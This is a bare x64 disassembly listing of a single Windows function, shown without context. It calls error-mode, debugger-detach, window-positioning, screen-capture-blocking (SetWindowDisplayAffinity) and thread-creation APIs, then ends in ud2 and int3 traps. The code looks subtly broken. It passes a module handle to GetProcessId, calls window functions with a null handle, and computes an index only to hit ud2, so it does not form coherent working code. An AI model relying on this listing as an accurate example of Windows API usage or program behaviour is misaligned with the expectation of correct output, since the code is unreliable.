call qword [sym.imp.KERNEL32.dll_SetErrorMode]
jmp 0x140283d3a
mov ecx, 4
call qword [sym.imp.USER32.dll_SetDebugErrorLevel]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov rcx, qword [rbx + 0x2ac]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [rbx + 0xe10]
mov dword [rsp + 0x30], eax
mov eax, dword [rbx + 0xe1c]
mov dword [rsp + 0x28], eax
mov eax, dword [rbx + 0xe18]
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowPos]
test eax, eax
je 0x140283d9f
mov edx, 1
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor r15d, r15d
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
lea r9, [rbx + 4]
lea r8, [0x140271540]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x140283e20
lea edx, [r15 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [rbx + 0xd4]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [rbx + 0x164]
call qword [sym.imp.USER32.dll_ShowCursor]
call qword [sym.imp.USER32.dll_GetShellWindow]
mov qword [rbx + 0x784], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x81c]
test rcx, rcx
je 0x140283e19
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x81c], r15
lea rdx, [rbx + 0x344]
movzx eax, byte [rbx + 0x9e]
mov byte [rsp + 0x30], al
mov eax, dword [rbx + 0x70]
mov dword [rsp + 0x28], eax
movzx eax, byte [rbx + 0x88]
mov byte [rsp + 0x20], al
movzx r9d, byte [rbx + 0x76]
movss xmm2, dword [rbx + 0x3c]
movss xmm1, dword [rbx + 0x38]
lea rcx, [rbx + 4]
call rdx
test al, al
je 0x140283e63
mov r13, qword [rbx + 0x44]
jmp 0x140283e6a
mov r13, qword [rbx + 0x11c]
test r13, r13
je 0x140283e8b
mov edx, dword [r13 + 0x18]
imul edx, dword [r13 + 0x10]
mov eax, dword [r13 + 0x38]
lea ecx, [rax + rax*4]
add ecx, ecx
sub edx, ecx
movsxd rax, edx
movsxd r13, dword [r13 + rax*4]
ud2
mov rcx, 0xffffffffffffffff
call fcn.140326c84
int3